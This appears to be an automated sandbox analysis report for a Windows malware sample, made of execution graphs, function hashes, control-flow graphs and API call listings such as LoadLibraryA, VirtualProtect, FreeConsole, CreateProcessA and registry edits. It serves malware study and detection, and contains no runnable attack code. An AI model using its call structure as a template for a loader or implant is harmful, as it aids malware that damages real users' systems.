                                            execution_graph 14789 7fe89a90888 14792 7fe89a90490 14789->14792 14791 7fe89a908a4 14793 7fe89a90950 FreeConsole 14792->14793 14795 7fe89a909ce 14793->14795 14795->14791 14771 7fe89a9306a 14772 7fe89a93079 14771->14772 14777 7fe89a91ca8 14772->14777 14775 7fe89a91ca8 VirtualProtect 14776 7fe89a93106 14775->14776 14778 7fe89a93360 VirtualProtect 14777->14778 14780 7fe89a930e1 14778->14780 14780->14775 14800 7fe89a9331a 14801 7fe89a93329 VirtualProtect 14800->14801 14803 7fe89a93401 14801->14803 14781 7fe89a90de5 14782 7fe89a90e2e 14781->14782 14785 7fe89a907d0 14782->14785 14784 7fe89a90f5d 14787 7fe89a92e70 LoadLibraryA 14785->14787 14788 7fe89a92fc4 14787->14788 14788->14784

                                            Executed Functions

                                            Function 000007FE89B7026B Relevance: 7.0, Strings: 5, Instructions: 783COMMON
                                            Download Yara Rule
                                            Strings
                                            Memory Dump Source
                                            • Source File: 00000019.00000002.494676638.000007FE89B70000.00000040.00000800.00020000.00000000.sdmp, Offset: 000007FE89B70000, based on PE: false
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_25_2_7fe89b70000_igccu.jbxd
                                            Similarity
                                            • API ID:
                                            • String ID: "9D$"9D$A$3s$3s
                                            • API String ID: 0-1226775135
                                            • Opcode ID: 731324ce929affce98a0afdf075b33d1df706022bdf0b1533f8e8340ffe1e824
                                            • Instruction ID: 08ce57b1ea1065d4abf747e19c62385d9aaf1207521307e77fd8204cd27e7908
                                            • Opcode Fuzzy Hash: 731324ce929affce98a0afdf075b33d1df706022bdf0b1533f8e8340ffe1e824
                                            • Instruction Fuzzy Hash: 5D42F43180D7C95FD716EB28C8556A87FF0FF56304F1906DBD08ACB1A3D628A85AC791
                                            Function 000007FE89B70858 Relevance: 6.3, Strings: 4, Instructions: 1340COMMON
                                            Download Yara Rule

                                            Control-flow Graph

                                            • Executed
                                            • Not Executed
                                            control_flow_graph 748 7fe89b70858-7fe89b70872 750 7fe89b708e3-7fe89b708f0 748->750 751 7fe89b70874-7fe89b70877 748->751 754 7fe89b708f3 750->754 753 7fe89b70879 751->753 751->754 757 7fe89b7087b-7fe89b708a2 753->757 758 7fe89b708c0 753->758 755 7fe89b708f9-7fe89b7090c 754->755 756 7fe89b70a42-7fe89b70a56 754->756 765 7fe89b7097d-7fe89b70990 755->765 766 7fe89b7090e-7fe89b70912 755->766 767 7fe89b70a57-7fe89b70a90 756->767 757->756 764 7fe89b708a8-7fe89b708be 757->764 759 7fe89b708c2 758->759 760 7fe89b708c3-7fe89b708de 758->760 759->760 760->750 764->756 764->758 770 7fe89b70993 765->770 766->770 771 7fe89b70914 766->771 768 7fe89b70ab1-7fe89b70ab7 767->768 769 7fe89b70a92-7fe89b70ab0 767->769 772 7fe89b70ab9-7fe89b70ad0 768->772 773 7fe89b70aec-7fe89b70b04 768->773 769->768 770->756 775 7fe89b70999-7fe89b709e6 770->775 776 7fe89b70974-7fe89b7097c 771->776 777 7fe89b70b41-7fe89b70b77 772->777 778 7fe89b70ad2-7fe89b70ae7 772->778 775->767 789 7fe89b709e8-7fe89b709ed 775->789 776->765 781 7fe89b70b79-7fe89b70b90 777->781 782 7fe89b70bac-7fe89b70bc4 777->782 778->773 783 7fe89b70c01-7fe89b70c37 781->783 784 7fe89b70b92-7fe89b70ba7 781->784 787 7fe89b70c39-7fe89b70c50 783->787 788 7fe89b70c6c-7fe89b70c84 783->788 784->782 790 7fe89b70cc1-7fe89b70cc8 787->790 791 7fe89b70c52-7fe89b70c67 787->791 789->776 799 7fe89b709ef 789->799 793 7fe89b70ce9-7fe89b70cfc 790->793 794 7fe89b70cca-7fe89b70ce8 790->794 791->788 797 7fe89b70d46-7fe89b70d48 793->797 798 7fe89b70cfe-7fe89b70d2f 793->798 794->793 800 7fe89b70e87-7fe89b70e96 797->800 802 7fe89b70d49-7fe89b70d5b 797->802 798->800 801 7fe89b70d35-7fe89b70d45 798->801 799->756 805 7fe89b70e98-7fe89b70e99 800->805 801->797 803 7fe89b70d5c-7fe89b70d7a 802->803 803->800 809 7fe89b70d80-7fe89b70d93 803->809 807 7fe89b70e9b 805->807 808 7fe89b70e9c-7fe89b70eb7 805->808 807->808 810 7fe89b70ebb-7fe89b70ec4 808->810 816 7fe89b70e04-7fe89b70e13 809->816 817 7fe89b70d95-7fe89b70d96 809->817 811 7fe89b70ec6-7fe89b70ec8 810->811 812 7fe89b70ed2-7fe89b70ed6 810->812 814 7fe89b70ed8-7fe89b70ef7 811->814 815 7fe89b70eca 811->815 812->814 820 7fe89b70ef9-7fe89b70f10 814->820 821 7fe89b70f2c-7fe89b70f44 814->821 818 7fe89b70ecb-7fe89b70ed1 815->818 822 7fe89b70e14-7fe89b70e16 816->822 817->803 819 7fe89b70d98 817->819 818->812 819->822 823 7fe89b70d9a 819->823 824 7fe89b70f81-7fe89b70f88 820->824 825 7fe89b70f12-7fe89b70f27 820->825 822->800 826 7fe89b70e18-7fe89b70e4a 822->826 827 7fe89b70d9c-7fe89b70dc5 823->827 828 7fe89b70de1 823->828 830 7fe89b70fa9-7fe89b70fb7 824->830 831 7fe89b70f8a-7fe89b70fa8 824->831 825->821 826->810 845 7fe89b70e4c-7fe89b70e4f 826->845 827->800 844 7fe89b70dcb-7fe89b70dde 827->844 828->800 832 7fe89b70de7-7fe89b70e01 828->832 834 7fe89b70fb9-7fe89b70fd0 830->834 835 7fe89b70fec-7fe89b71004 830->835 831->830 832->816 838 7fe89b71041-7fe89b71048 834->838 839 7fe89b70fd2-7fe89b70fe7 834->839 842 7fe89b71069-7fe89b71077 838->842 843 7fe89b7104a-7fe89b71068 838->843 839->835 846 7fe89b71079-7fe89b71090 842->846 847 7fe89b710ac-7fe89b710c4 842->847 843->842 844->828 845->818 848 7fe89b70e51 845->848 849 7fe89b71101-7fe89b71149 846->849 850 7fe89b71092-7fe89b710a7 846->850 848->805 851 7fe89b70e53-7fe89b70e86 848->851 853 7fe89b7114b-7fe89b7115b 849->853 854 7fe89b7115d-7fe89b7115e 849->854 850->847 855 7fe89b71161-7fe89b71178 853->855 854->855 861 7fe89b711a6-7fe89b71229 855->861 862 7fe89b7117a-7fe89b7117c 855->862 867 7fe89b7122b-7fe89b71259 861->867 868 7fe89b71273-7fe89b71292 861->868 862->861 863 7fe89b7117e-7fe89b7119f 862->863 863->861 869 7fe89b7125f-7fe89b71272 867->869 870 7fe89b71305-7fe89b71315 867->870 872 7fe89b71299-7fe89b712a4 868->872 869->870 873 7fe89b71278-7fe89b71292 869->873 877 7fe89b71317 870->877 878 7fe89b71318-7fe89b71331 870->878 872->870 874 7fe89b712a6-7fe89b712d0 872->874 876 7fe89b7129a-7fe89b712a4 873->876 882 7fe89b71341-7fe89b7134f 874->882 894 7fe89b712d2-7fe89b712d3 874->894 876->870 876->874 877->878 879 7fe89b71333-7fe89b71340 878->879 880 7fe89b71385-7fe89b71390 878->880 879->882 883 7fe89b71401-7fe89b71438 880->883 884 7fe89b71392-7fe89b713a7 880->884 885 7fe89b71351-7fe89b71377 882->885 888 7fe89b7143a-7fe89b7144a 883->888 889 7fe89b7146d-7fe89b71478 883->889 893 7fe89b713ac-7fe89b713c4 884->893 892 7fe89b71379-7fe89b71384 885->892 885->893 895 7fe89b714bb-7fe89b714c1 888->895 896 7fe89b7144c-7fe89b7144e 888->896 890 7fe89b7147a-7fe89b71485 889->890 891 7fe89b7148c-7fe89b71494 889->891 890->891 897 7fe89b71496-7fe89b71499 891->897 892->880 894->872 900 7fe89b712d5 894->900 898 7fe89b714c3-7fe89b714c7 895->898 899 7fe89b71515-7fe89b7156e 895->899 901 7fe89b714ca-7fe89b71513 896->901 902 7fe89b71450 896->902 898->901 913 7fe89b71570-7fe89b7157b 899->913 914 7fe89b71582-7fe89b7158c 899->914 900->885 903 7fe89b712d7-7fe89b71304 900->903 901->899 902->897 904 7fe89b71452-7fe89b7146c 902->904 904->889 913->914
                                            Strings
                                            Memory Dump Source
                                            • Source File: 00000019.00000002.494676638.000007FE89B70000.00000040.00000800.00020000.00000000.sdmp, Offset: 000007FE89B70000, based on PE: false
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_25_2_7fe89b70000_igccu.jbxd
                                            Similarity
                                            • API ID:
                                            • String ID: 6D$3s$3s$3s
                                            • API String ID: 0-3896007446
                                            • Opcode ID: 3ede5b0781ccd94c7d8694e739e632155210661f80bfc2f2ee736469d112cf9d
                                            • Instruction ID: 2e4a3c54c1fa44ead13209c110ac3e382a5e85c8dfa45ec5dc54542860b6e2bf
                                            • Opcode Fuzzy Hash: 3ede5b0781ccd94c7d8694e739e632155210661f80bfc2f2ee736469d112cf9d
                                            • Instruction Fuzzy Hash: 0392E53190D7C94FD717EB3888556A8BFE1EF57304F1902EBD089CB1A3D628A85AC791
                                            Function 000007FE89A907C5 Relevance: 1.7, APIs: 1, Instructions: 195libraryCOMMON
                                            Download Yara Rule

                                            Control-flow Graph

                                            • Executed
                                            • Not Executed
                                            control_flow_graph 2635 7fe89a907c5-7fe89a92eec 2639 7fe89a92eee-7fe89a92f15 2635->2639 2640 7fe89a92f5f-7fe89a92fc2 LoadLibraryA 2635->2640 2639->2640 2643 7fe89a92f17-7fe89a92f1a 2639->2643 2644 7fe89a92fca-7fe89a92ffe call 7fe89a9301a 2640->2644 2645 7fe89a92fc4 2640->2645 2646 7fe89a92f1c-7fe89a92f2f 2643->2646 2647 7fe89a92f54-7fe89a92f5c 2643->2647 2653 7fe89a93000 2644->2653 2654 7fe89a93005-7fe89a93019 2644->2654 2645->2644 2649 7fe89a92f31 2646->2649 2650 7fe89a92f33-7fe89a92f46 2646->2650 2647->2640 2649->2650 2650->2650 2652 7fe89a92f48-7fe89a92f50 2650->2652 2652->2647 2653->2654
                                            APIs
                                            Memory Dump Source
                                            • Source File: 00000019.00000002.494461594.000007FE89A90000.00000040.00000800.00020000.00000000.sdmp, Offset: 000007FE89A90000, based on PE: false
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_25_2_7fe89a90000_igccu.jbxd
                                            Similarity
                                            • API ID: LibraryLoad
                                            • String ID:
                                            • API String ID: 1029625771-0
                                            • Opcode ID: d153d4124144d2b8cc5a9ea661dc580c7434caea464112d3ece933eea9144b38
                                            • Instruction ID: 939a0571a8c0d9ab904ac5cc9dd0caf0eaf7c4e7455edcb5a7652aadd962c664
                                            • Opcode Fuzzy Hash: d153d4124144d2b8cc5a9ea661dc580c7434caea464112d3ece933eea9144b38
                                            • Instruction Fuzzy Hash: C951B470908A8D8FEB58EF28D8457F977E1FB59350F00416EE85EC32A2DA74A845CB81
                                            Function 000007FE89A907D0 Relevance: 1.7, APIs: 1, Instructions: 193libraryCOMMON
                                            Download Yara Rule
                                            APIs
                                            Memory Dump Source
                                            • Source File: 00000019.00000002.494461594.000007FE89A90000.00000040.00000800.00020000.00000000.sdmp, Offset: 000007FE89A90000, based on PE: false
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_25_2_7fe89a90000_igccu.jbxd
                                            Similarity
                                            • API ID: LibraryLoad
                                            • String ID:
                                            • API String ID: 1029625771-0
                                            • Opcode ID: 5745277ba7e372d259724a3bf676722b2a36ae408366ce0818ba69c2b5080dee
                                            • Instruction ID: 8a04cd1b6e74f68dedda6212a92a848d50ccd5159c5b86ff20a11d339f9eab93
                                            • Opcode Fuzzy Hash: 5745277ba7e372d259724a3bf676722b2a36ae408366ce0818ba69c2b5080dee
                                            • Instruction Fuzzy Hash: 9E51A370908A4D8FEB98EF18C8457F977E1FB59310F10426EE85EC32A2DB74E9458B81
                                            Function 000007FE89A92E69 Relevance: 1.7, APIs: 1, Instructions: 191libraryCOMMON
                                            Download Yara Rule
                                            APIs
                                            Memory Dump Source
                                            • Source File: 00000019.00000002.494461594.000007FE89A90000.00000040.00000800.00020000.00000000.sdmp, Offset: 000007FE89A90000, based on PE: false
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_25_2_7fe89a90000_igccu.jbxd
                                            Similarity
                                            • API ID: LibraryLoad
                                            • String ID:
                                            • API String ID: 1029625771-0
                                            • Opcode ID: 7819fbcffe2df3e515eb37c81e326df440289a1cc4849490dbe05024fa95120e
                                            • Instruction ID: c52d082e39b733a25a494b512f8a9b1468d7ffe2a6473777997f039a7dd371f9
                                            • Opcode Fuzzy Hash: 7819fbcffe2df3e515eb37c81e326df440289a1cc4849490dbe05024fa95120e
                                            • Instruction Fuzzy Hash: CD51A170908A4D8FEB98EF18D8457F977E1FB59310F00426EE81EC32A2DB74E9458B81
                                            Function 000007FE89A9331A Relevance: 1.6, APIs: 1, Instructions: 136memoryCOMMON
                                            Download Yara Rule
                                            APIs
                                            Memory Dump Source
                                            • Source File: 00000019.00000002.494461594.000007FE89A90000.00000040.00000800.00020000.00000000.sdmp, Offset: 000007FE89A90000, based on PE: false
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_25_2_7fe89a90000_igccu.jbxd
                                            Similarity
                                            • API ID: ProtectVirtual
                                            • String ID:
                                            • API String ID: 544645111-0
                                            • Opcode ID: 928d01a2af4562f06c0d6a5cbe1fc8cb54a9e28b688be6192118e97ce76a6d26
                                            • Instruction ID: ba609aedc2a45dace7179f0311d6baea765bc12250dc2376127516df39562613
                                            • Opcode Fuzzy Hash: 928d01a2af4562f06c0d6a5cbe1fc8cb54a9e28b688be6192118e97ce76a6d26
                                            • Instruction Fuzzy Hash: C8412A3090C7884FDB09DBA898466F97FF1EB56721F0402AFD049D31A2CB647856C791
                                            Function 000007FE89A996DD Relevance: 1.6, APIs: 1, Instructions: 121memoryCOMMON
                                            Download Yara Rule
                                            APIs
                                            Memory Dump Source
                                            • Source File: 00000019.00000002.494461594.000007FE89A90000.00000040.00000800.00020000.00000000.sdmp, Offset: 000007FE89A90000, based on PE: false
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_25_2_7fe89a90000_igccu.jbxd
                                            Similarity
                                            • API ID: ProtectVirtual
                                            • String ID:
                                            • API String ID: 544645111-0
                                            • Opcode ID: 1e0082537d4f87d059bcbbb84df85cd5c8c3a5c06623177d3f649ef982b65624
                                            • Instruction ID: 169ce8be15d4516085a2da81b3390430e341c17ff29193fc04d19dc4dfb9b4ad
                                            • Opcode Fuzzy Hash: 1e0082537d4f87d059bcbbb84df85cd5c8c3a5c06623177d3f649ef982b65624
                                            • Instruction Fuzzy Hash: 04312930A0CA5C4FDB18DB5CD849AFDBBE1FBA5311F00426FD049D3292CB206842C791
                                            Function 000007FE89A91CA8 Relevance: 1.6, APIs: 1, Instructions: 114memoryCOMMON
                                            Download Yara Rule
                                            APIs
                                            Memory Dump Source
                                            • Source File: 00000019.00000002.494461594.000007FE89A90000.00000040.00000800.00020000.00000000.sdmp, Offset: 000007FE89A90000, based on PE: false
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_25_2_7fe89a90000_igccu.jbxd
                                            Similarity
                                            • API ID: ProtectVirtual
                                            • String ID:
                                            • API String ID: 544645111-0
                                            • Opcode ID: 3f2c015bcfdac77d9b75c5b7ce3de33c9d6b9cadffaa625391e1747dc41f6d66
                                            • Instruction ID: adc0009cd3c379dc508c2e80dd389397bd5cea8a6ecfa48ca5b6c17a36698fdd
                                            • Opcode Fuzzy Hash: 3f2c015bcfdac77d9b75c5b7ce3de33c9d6b9cadffaa625391e1747dc41f6d66
                                            • Instruction Fuzzy Hash: 0F31C73090CA5C8FDB18DB5D98456F97BE1FBA5711F10422ED04AD3292DB707856CB91
                                            Function 000007FE89A90921 Relevance: 1.6, APIs: 1, Instructions: 108COMMON
                                            Download Yara Rule
                                            APIs
                                            Memory Dump Source
                                            • Source File: 00000019.00000002.494461594.000007FE89A90000.00000040.00000800.00020000.00000000.sdmp, Offset: 000007FE89A90000, based on PE: false
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_25_2_7fe89a90000_igccu.jbxd
                                            Similarity
                                            • API ID: ConsoleFree
                                            • String ID:
                                            • API String ID: 771614528-0
                                            • Opcode ID: 418a084546a3d93ab08da749a7a18bd7b9fc8144fce5f755a1ccab8a0de55ef3
                                            • Instruction ID: cc038362f4eb8c3b3b85543abea4d3a39af9688a4b2dd4ca39a24841fc543732
                                            • Opcode Fuzzy Hash: 418a084546a3d93ab08da749a7a18bd7b9fc8144fce5f755a1ccab8a0de55ef3
                                            • Instruction Fuzzy Hash: 26318F3190C7588FDB15DFA8D885BEABBF0EB56320F0442AED089D3562D768A846CB51
                                            Function 000007FE89A90490 Relevance: 1.6, APIs: 1, Instructions: 92COMMON
                                            Download Yara Rule
                                            APIs
                                            Memory Dump Source
                                            • Source File: 00000019.00000002.494461594.000007FE89A90000.00000040.00000800.00020000.00000000.sdmp, Offset: 000007FE89A90000, based on PE: false
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_25_2_7fe89a90000_igccu.jbxd
                                            Similarity
                                            • API ID: ConsoleFree
                                            • String ID:
                                            • API String ID: 771614528-0
                                            • Opcode ID: d28c41f9a03cd92c0f146be42c272c6688994b24be673f5afb8bec2b08eefad2
                                            • Instruction ID: 1e64f2db983784340a071798d9bed763b4c77a684cfe75023338ba8f9b126632
                                            • Opcode Fuzzy Hash: d28c41f9a03cd92c0f146be42c272c6688994b24be673f5afb8bec2b08eefad2
                                            • Instruction Fuzzy Hash: 1C21A13090CA5C8FEB18DF58D885BFA7BE0FB65321F00426ED04AD3152D760A806CB51
                                            Function 000007FE89B710C9 Relevance: .2, Instructions: 250COMMON
                                            Download Yara Rule
                                            Memory Dump Source
                                            • Source File: 00000019.00000002.494676638.000007FE89B70000.00000040.00000800.00020000.00000000.sdmp, Offset: 000007FE89B70000, based on PE: false
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_25_2_7fe89b70000_igccu.jbxd
                                            Similarity
                                            • API ID:
                                            • String ID:
                                            • API String ID:
                                            • Opcode ID: b9c1a8d390ad4ec1e74824dd252b151d1dbd12cb9d492d2cc7e6507705054af9
                                            • Instruction ID: 28c9c42ab622c60c0161ea8136ee48f1dac68fabc97c79d420531e1caca85c4b
                                            • Opcode Fuzzy Hash: b9c1a8d390ad4ec1e74824dd252b151d1dbd12cb9d492d2cc7e6507705054af9
                                            • Instruction Fuzzy Hash: 6571E730A0DBCD5FDB46EB3888646A87FF1FF56304B1601EBD049CB1A3DA28A855C755
                                            Function 000007FE89B711D9 Relevance: .1, Instructions: 131COMMON
                                            Download Yara Rule
                                            Memory Dump Source
                                            • Source File: 00000019.00000002.494676638.000007FE89B70000.00000040.00000800.00020000.00000000.sdmp, Offset: 000007FE89B70000, based on PE: false
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_25_2_7fe89b70000_igccu.jbxd
                                            Similarity
                                            • API ID:
                                            • String ID:
                                            • API String ID:
                                            • Opcode ID: 6c5751a23d6e4d6c2d3ff0243acf2763efda64955a3879d3649f00c8a4c78102
                                            • Instruction ID: b34ad1ac41e9804358b552d942603364bdc20b96a0a84a12d59dd1fed40d0e1a
                                            • Opcode Fuzzy Hash: 6c5751a23d6e4d6c2d3ff0243acf2763efda64955a3879d3649f00c8a4c78102
                                            • Instruction Fuzzy Hash: 4941073090CA8D9FDB46EF28C8545E8BBF1FF55304B1502EBD44AD71A2DB28B855C7A0

                                            Non-executed Functions

                                            Function 000007FE89B717A1 Relevance: 5.4, Strings: 4, Instructions: 397COMMON
                                            Download Yara Rule
                                            Strings
                                            Memory Dump Source
                                            • Source File: 00000019.00000002.494676638.000007FE89B70000.00000040.00000800.00020000.00000000.sdmp, Offset: 000007FE89B70000, based on PE: false
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_25_2_7fe89b70000_igccu.jbxd
                                            Similarity
                                            • API ID:
                                            • String ID: (QE$(QE$(QE$(QE
                                            • API String ID: 0-927077113
                                            • Opcode ID: 7425a6d8395398cb6652b3341ef7f270dd12daf2be579ece8404adaeec3aad95
                                            • Instruction ID: 73f55cc0de920a82e93ed12e31fb0cb2b7815e5535f072f2d7bcb1ddd7e86866
                                            • Opcode Fuzzy Hash: 7425a6d8395398cb6652b3341ef7f270dd12daf2be579ece8404adaeec3aad95
                                            • Instruction Fuzzy Hash: 03C1F43190D7CA4FD713DB3898542A8BFE0EF57640F1906EBC089CB0B3D618695AC7A6

                                            Execution Graph

                                            Execution Coverage:1.5%
                                            Dynamic/Decrypted Code Coverage:0%
                                            Signature Coverage:0%
                                            Total number of Nodes:660
                                            Total number of Limit Nodes:12
                                            execution_graph 47094 434887 47095 434893 ___BuildCatchObject 47094->47095 47120 434596 47095->47120 47097 43489a 47099 4348c3 47097->47099 47415 4349f9 IsProcessorFeaturePresent IsDebuggerPresent SetUnhandledExceptionFilter UnhandledExceptionFilter ___scrt_fastfail 47097->47415 47108 434902 ___scrt_is_nonwritable_in_current_image ___scrt_release_startup_lock 47099->47108 47416 444251 5 API calls ___crtLCMapStringA 47099->47416 47101 4348dc 47103 4348e2 ___BuildCatchObject 47101->47103 47417 4441f5 5 API calls ___crtLCMapStringA 47101->47417 47104 434962 47131 434b14 47104->47131 47108->47104 47418 4433e7 35 API calls 6 library calls 47108->47418 47115 43498e 47117 434997 47115->47117 47419 4433c2 28 API calls _abort 47115->47419 47420 43470d 13 API calls 2 library calls 47117->47420 47121 43459f 47120->47121 47421 434c52 IsProcessorFeaturePresent 47121->47421 47123 4345ab 47422 438f31 47123->47422 47125 4345b0 47126 4345b4 47125->47126 47431 4440bf 47125->47431 47126->47097 47129 4345cb 47129->47097 47489 436e90 47131->47489 47134 434968 47135 4441a2 47134->47135 47491 44f059 47135->47491 47137 4441ab 47138 434971 47137->47138 47495 446815 35 API calls 47137->47495 47140 40e9c5 47138->47140 47682 41cb50 LoadLibraryA GetProcAddress 47140->47682 47142 40e9e1 GetModuleFileNameW 47687 40f3c3 47142->47687 47144 40e9fd 47702 4020f6 47144->47702 47147 4020f6 28 API calls 47148 40ea1b 47147->47148 47708 41be1b 47148->47708 47152 40ea2d 47734 401e8d 47152->47734 47154 40ea36 47155 40ea93 47154->47155 47156 40ea49 47154->47156 47740 401e65 22 API calls 47155->47740 47764 40fbb3 116 API calls 47156->47764 47159 40ea5b 47765 401e65 22 API calls 47159->47765 47160 40eaa3 47741 401e65 22 API calls 47160->47741 47162 40ea67 47766 410f37 36 API calls __EH_prolog 47162->47766 47164 40eac2 47742 40531e 28 API calls 47164->47742 47167 40ead1 47743 406383 28 API calls 47167->47743 47168 40ea79 47767 40fb64 77 API calls 47168->47767 47171 40eadd 47744 401fe2 47171->47744 47172 40ea82 47768 40f3b0 70 API calls 47172->47768 47178 401fd8 11 API calls 47180 40eefb 47178->47180 47179 401fd8 11 API calls 47181 40eafb 47179->47181 47410 4432f6 GetModuleHandleW 47180->47410 47756 401e65 22 API calls 47181->47756 47183 40eb04 47757 401fc0 28 API calls 47183->47757 47185 40eb0f 47758 401e65 22 API calls 47185->47758 47187 40eb28 47759 401e65 22 API calls 47187->47759 47189 40eb43 47190 40ebae 47189->47190 47769 406c1e 28 API calls 47189->47769 47760 401e65 22 API calls 47190->47760 47193 40eb70 47194 401fe2 28 API calls 47193->47194 47195 40eb7c 47194->47195 47196 401fd8 11 API calls 47195->47196 47199 40eb85 47196->47199 47197 40ec02 47761 40d069 47197->47761 47198 40ebbb 47198->47197 47771 413549 RegOpenKeyExA RegQueryValueExA RegCloseKey 47198->47771 47770 413549 RegOpenKeyExA RegQueryValueExA RegCloseKey 47199->47770 47201 40ec08 47202 40ea8b 47201->47202 47773 41b2c3 33 API calls 47201->47773 47202->47178 47205 40eba4 47205->47190 47207 40f34f 47205->47207 47851 4139a9 30 API calls 47207->47851 47208 40ec23 47211 40ec76 47208->47211 47774 407716 RegOpenKeyExA RegQueryValueExA RegCloseKey 47208->47774 47209 40ebe6 47209->47197 47772 4139a9 30 API calls 47209->47772 47779 401e65 22 API calls 47211->47779 47215 40ec7f 47223 40ec90 47215->47223 47224 40ec8b 47215->47224 47216 40ec3e 47218 40ec42 47216->47218 47219 40ec4c 47216->47219 47217 40f365 47852 412475 65 API calls ___scrt_fastfail 47217->47852 47775 407738 30 API calls 47218->47775 47777 401e65 22 API calls 47219->47777 47781 401e65 22 API calls 47223->47781 47780 407755 CreateProcessA CloseHandle CloseHandle ___scrt_fastfail 47224->47780 47225 40ec47 47776 407260 97 API calls 47225->47776 47230 40f37f 47854 413a23 RegOpenKeyExW RegDeleteValueW 47230->47854 47231 40ec99 47782 41bc5e 28 API calls 47231->47782 47233 40ec55 47233->47211 47236 40ec71 47233->47236 47235 40eca4 47783 401f13 28 API calls 47235->47783 47778 407260 97 API calls 47236->47778 47237 40f392 47855 401f09 11 API calls 47237->47855 47239 40ecaf 47784 401f09 11 API calls 47239->47784 47243 40f39c 47856 401f09 11 API calls 47243->47856 47244 40ecb8 47785 401e65 22 API calls 47244->47785 47247 40f3a5 47857 40dd42 27 API calls 47247->47857 47248 40ecc1 47786 401e65 22 API calls 47248->47786 47250 40f3aa 47858 414f2a 167 API calls _strftime 47250->47858 47254 40ecdb 47787 401e65 22 API calls 47254->47787 47256 40ecf5 47788 401e65 22 API calls 47256->47788 47258 40ed80 47261 40ed8a 47258->47261 47267 40ef06 ___scrt_fastfail 47258->47267 47259 40ed0e 47259->47258 47789 401e65 22 API calls 47259->47789 47262 40ed93 47261->47262 47269 40ee0f 47261->47269 47795 401e65 22 API calls 47262->47795 47264 40ed9c 47796 401e65 22 API calls 47264->47796 47265 40ed23 _wcslen 47265->47258 47790 401e65 22 API calls 47265->47790 47806 4136f8 RegOpenKeyExA RegQueryValueExA RegCloseKey 47267->47806 47268 40edae 47797 401e65 22 API calls 47268->47797 47292 40ee0a ___scrt_fastfail 47269->47292 47271 40ed3e 47791 401e65 22 API calls 47271->47791 47274 40edc0 47798 401e65 22 API calls 47274->47798 47276 40ed53 47792 40da34 31 API calls 47276->47792 47277 40ef51 47807 401e65 22 API calls 47277->47807 47281 40ede9 47799 401e65 22 API calls 47281->47799 47282 40ef76 47808 402093 28 API calls 47282->47808 47283 40ed66 47793 401f13 28 API calls 47283->47793 47286 40ed72 47794 401f09 11 API calls 47286->47794 47288 40ef88 47809 41376f 14 API calls 47288->47809 47290 40edfa 47800 40cdf9 45 API calls _wcslen 47290->47800 47291 40ed7b 47291->47258 47292->47269 47801 413947 31 API calls 47292->47801 47296 40ef9e 47810 401e65 22 API calls 47296->47810 47297 40eea3 ctype 47802 401e65 22 API calls 47297->47802 47299 40efaa 47811 43baac 39 API calls _strftime 47299->47811 47302 40efb7 47304 40efe4 47302->47304 47812 41cd9b 86 API calls ___scrt_fastfail 47302->47812 47303 40eeba 47303->47277 47803 401e65 22 API calls 47303->47803 47813 402093 28 API calls 47304->47813 47306 40eed7 47804 41bc5e 28 API calls 47306->47804 47310 40efc8 CreateThread 47310->47304 47935 41d45d 10 API calls 47310->47935 47311 40eff9 47814 402093 28 API calls 47311->47814 47312 40eee3 47805 40f474 103 API calls 47312->47805 47315 40f008 47815 41b4ef 79 API calls 47315->47815 47316 40eee8 47316->47277 47318 40eeef 47316->47318 47318->47202 47319 40f00d 47816 401e65 22 API calls 47319->47816 47321 40f019 47817 401e65 22 API calls 47321->47817 47323 40f02b 47818 401e65 22 API calls 47323->47818 47325 40f04b 47819 43baac 39 API calls _strftime 47325->47819 47327 40f058 47820 401e65 22 API calls 47327->47820 47329 40f063 47821 401e65 22 API calls 47329->47821 47331 40f074 47822 401e65 22 API calls 47331->47822 47333 40f089 47823 401e65 22 API calls 47333->47823 47335 40f09a 47336 40f0a1 StrToIntA 47335->47336 47824 409de4 169 API calls _wcslen 47336->47824 47338 40f0b3 47825 401e65 22 API calls 47338->47825 47340 40f101 47828 401e65 22 API calls 47340->47828 47341 40f0bc 47341->47340 47826 4344ea 22 API calls 2 library calls 47341->47826 47343 40f0d1 47827 401e65 22 API calls 47343->47827 47346 40f0e4 47347 40f0eb CreateThread 47346->47347 47347->47340 47929 419fb4 102 API calls 2 library calls 47347->47929 47348 40f159 47831 401e65 22 API calls 47348->47831 47349 40f111 47349->47348 47829 4344ea 22 API calls 2 library calls 47349->47829 47352 40f126 47830 401e65 22 API calls 47352->47830 47354 40f138 47357 40f13f CreateThread 47354->47357 47355 40f1cc 47837 401e65 22 API calls 47355->47837 47356 40f162 47356->47355 47832 401e65 22 API calls 47356->47832 47357->47348 47934 419fb4 102 API calls 2 library calls 47357->47934 47360 40f17e 47833 401e65 22 API calls 47360->47833 47361 40f1d5 47362 40f21a 47361->47362 47838 401e65 22 API calls 47361->47838 47842 41b60d 79 API calls 47362->47842 47366 40f193 47834 40d9e8 31 API calls 47366->47834 47367 40f223 47843 401f13 28 API calls 47367->47843 47368 40f1ea 47839 401e65 22 API calls 47368->47839 47371 40f22e 47844 401f09 11 API calls 47371->47844 47373 40f1a6 47835 401f13 28 API calls 47373->47835 47375 40f1ff 47840 43baac 39 API calls _strftime 47375->47840 47377 40f237 CreateThread 47380 40f264 47377->47380 47381 40f258 CreateThread 47377->47381 47930 40f7a7 120 API calls 47377->47930 47378 40f1b2 47836 401f09 11 API calls 47378->47836 47383 40f279 47380->47383 47384 40f26d CreateThread 47380->47384 47381->47380 47931 4120f7 137 API calls 47381->47931 47388 40f2cc 47383->47388 47845 402093 28 API calls 47383->47845 47384->47383 47932 4126db 38 API calls ___scrt_fastfail 47384->47932 47386 40f1bb CreateThread 47386->47355 47933 401be9 49 API calls _strftime 47386->47933 47387 40f20c 47841 40c162 7 API calls 47387->47841 47847 4134ff RegOpenKeyExA RegQueryValueExA RegCloseKey 47388->47847 47391 40f29c 47846 4052fd 28 API calls 